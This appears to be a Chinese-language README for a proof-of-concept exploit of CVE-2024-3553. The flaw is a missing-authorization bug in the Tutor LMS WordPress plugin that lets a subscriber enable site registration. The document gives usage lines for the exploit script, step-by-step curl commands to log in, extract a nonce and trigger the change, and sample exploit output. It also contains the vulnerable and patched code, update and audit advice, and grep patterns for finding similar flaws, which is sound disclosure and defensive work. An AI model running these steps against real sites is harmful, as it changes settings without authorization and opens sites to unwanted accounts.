
CVE-2024-3553: Tutor LMS <= 2.6.2 - Missing Authorization vulnerability allowing authenticated attackers to enable user registration
Tutor LMS – 适用于WordPress的在线学习和在线课程解决方案插件,在其所有版本(包括2.6.2及之前版本)中,由于hide_notices()函数缺少权限检查,导致数据可被未经授权修改。这使得经过身份验证的攻击者(包括订阅者等低权限用户)能够在管理员可能已禁用的站点上启用用户注册。
提供了完整的Python利用脚本:exploit-cve-2024-3553-v2.py
# 全自动化利用
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123
# 仅检查注册状态
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only
前提条件:
步骤1:以低权限用户登录
# 以订阅者或任意经过身份验证的用户身份登录
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
https://target.com/wp-login.php
步骤2:从管理区域提取Nonce
# 任意经过身份验证的用户都可以访问 /wp-admin/(即使是订阅者也可)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1
步骤3:执行利用
# 发送请求以启用用户注册
curl -b cookies.txt \
"https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"
步骤4:验证成功
# 检查注册是否已启用
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "Registration ENABLED" || echo "Registration DISABLED"
# 作为任意经过身份验证的用户,只需访问:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>
======================================================================
CVE-2024-3553 Exploit - Tutor LMS 缺失授权
目标: https://target.com
======================================================================
[*] 正在检查当前注册状态...
[+] 当前注册已禁用
[*] 正在尝试以用户身份登录: subscriber
[+] 已成功以用户身份登录: subscriber
[*] 步骤2:正在从管理区域提取nonce...
[+] 找到nonce: abc123def456
[*] 步骤3:正在执行利用以启用用户注册...
[*] 目标: https://target.com
[*] 使用的nonce: abc123def456
[*] 利用URL: https://target.com/wp-admin/index.php
[*] 参数: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] 响应状态: 200
[+] 利用请求已成功发送!
[*] 步骤4:正在验证利用成功...
[+] 当前注册已启用
======================================================================
[!] 利用成功!
[!] 用户注册现已启用
[!]
[!] 影响:拥有低权限账户(订阅者)的攻击者
[!] 能够在已禁用注册的站点上启用用户注册。
[!] 这可能导致创建额外账户,进而引发垃圾信息或未经授权的访问。
======================================================================
文件: /classes/User.php(约第800-815行)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// 关键缺陷:is_admin() 仅检查是否在管理区域,而非用户角色!
if ( is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
// 未进行权限检查 - 任意经过身份验证的用户均可执行此操作!
update_option( 'users_can_register', 1 );
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
关键漏洞点:
is_admin() 仅验证请求是否指向管理页面,而非验证用户是否为管理员/wp-admin/(即使是订阅者)current_user_can('manage_options') 权限检查users_can_register 选项文件: /classes/User.php(已修补版本)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// 安全修复:添加了权限检查
$has_manage_cap = current_user_can( 'manage_options' );
if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
update_option( 'users_can_register', 1 ); // 现在已得到适当保护
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
该补丁添加了 current_user_can('manage_options') 以验证用户拥有管理员权限,然后才允许更新选项。
此漏洞展示了WordPress授权函数的关键误解:
错误 ❌:
if ( is_admin() ) {
// 误以为此处意味着“用户是管理员”
update_option( 'sensitive_option', $value );
}
正确 ✅:
if ( current_user_can( 'manage_options' ) ) {
// 实际检查用户是否具有管理员权限
update_option( 'sensitive_option', $value );
}
| 函数 | 实际检查内容 | 安全用途 |
|---|
正确的WordPress安全需要多层防护:
缺失其中任一层次都可能导致漏洞。
针对站点管理员:
立即将Tutor LMS更新至2.7.0或更高版本:
# 通过WP-CLI
wp plugin update tutor --version=2.7.0
# 通过WordPress管理后台
仪表盘 → 插件 → 找到“Tutor LMS” → 点击“现在更新”
审计近期更改:
# 检查注册设置是否最近被修改
wp option get users_can_register
# 查看近期用户注册记录
wp user list --orderby=registered --order=DESC --number=20
is_admin() 进行授权current_user_can() 进行权限检查审计WordPress插件授权问题时:
# 1. 搜索 is_admin() 而未附带权限检查
grep -r "is_admin()" . | grep -v "current_user_can"
# 2. 查找直接更新选项的代码
grep -r "update_option\|add_option" .
# 3. 查找未附带权限检查的AJAX处理程序
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"
README.md - 本文件exploit-cve-2024-3553.py - 基础Python利用脚本exploit-cve-2024-3553-v2.py - 增强版Python利用脚本(含详细文档)manual-exploit-cve-2024-3553.sh - 手动利用脚本test-cve-2024-3553-direct.sh - 直接验证测试脚本发现日期: 2024-04-15 公开日期: 2024-05-20 修补日期: 2024-05-21 (v2.7.0) 测试日期: 2025-12-26 分类: 成功漏洞验证
is_admin() | 当前URL是否在 /wp-admin/ 内 | ❌ 不用于授权 |
current_user_can() | 用户是否具有特定权限 | ✅ 适当的授权检查 |
wp_verify_nonce() | 请求是否是故意的(CSRF防护) | ✅ 但单独使用不足以保障安全 |